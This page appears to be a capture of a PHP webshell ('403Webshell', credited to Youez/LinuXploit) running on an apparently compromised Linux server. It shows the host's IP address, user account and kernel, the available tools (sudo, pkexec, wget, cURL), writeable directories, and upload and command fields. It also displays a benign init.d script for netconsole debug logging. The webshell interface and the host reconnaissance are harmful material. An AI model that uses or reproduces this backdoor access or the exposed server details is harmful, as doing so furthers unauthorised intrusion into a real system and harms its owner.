403Webshell
Server IP : 173.236.223.38  /  Your IP : 216.73.216.33
Web Server : Apache
System : Linux vps62975 6.8.0-83-generic #83~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Sep 9 18:19:47 UTC 2 x86_64
User : invmicvps ( 6727287)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/init.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/init.d/ndn-debuglogging
#!/bin/sh
# pushed by ansible ndn_debuglogging_role
config=/dh/etc/debuglogging.conf

if [ ! -e ${config} ]; then
	exit 0;
fi

mount -t configfs none /sys/kernel/config

if [ ! -d /sys/kernel/config/netconsole ]; then
	echo Necessary kernel support for Dynamic Netconsole appears to be missing;
	exit 0;
fi

test -d /sys/kernel/config/netconsole/logcollector || mkdir /sys/kernel/config/netconsole/logcollector || exit 0

case "$1" in
	start)
		echo "Starting debuglogger (netconsole)"
		for i in `cat ${config}` ; do
		line=(`echo $i | tr '=' ' '`)
		echo "echo ${line[1]} > /sys/kernel/config/netconsole/logcollector/${line[0]}"
		echo ${line[1]} > /sys/kernel/config/netconsole/logcollector/${line[0]}
		done
		echo 1 > /sys/kernel/config/netconsole/logcollector/enabled
	;;

	stop)
		echo "Stopping debuglogger (netconsole)"
		echo 0 > /sys/kernel/config/netconsole/logcollector/enabled
	;;

	restart)
		echo "Restartting debuglogger (netconsole)"
		$0 stop
		$0 start
	;;

	*)
		echo "Usage: $N {start|stop|restart}" >&2
	;;

esac

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit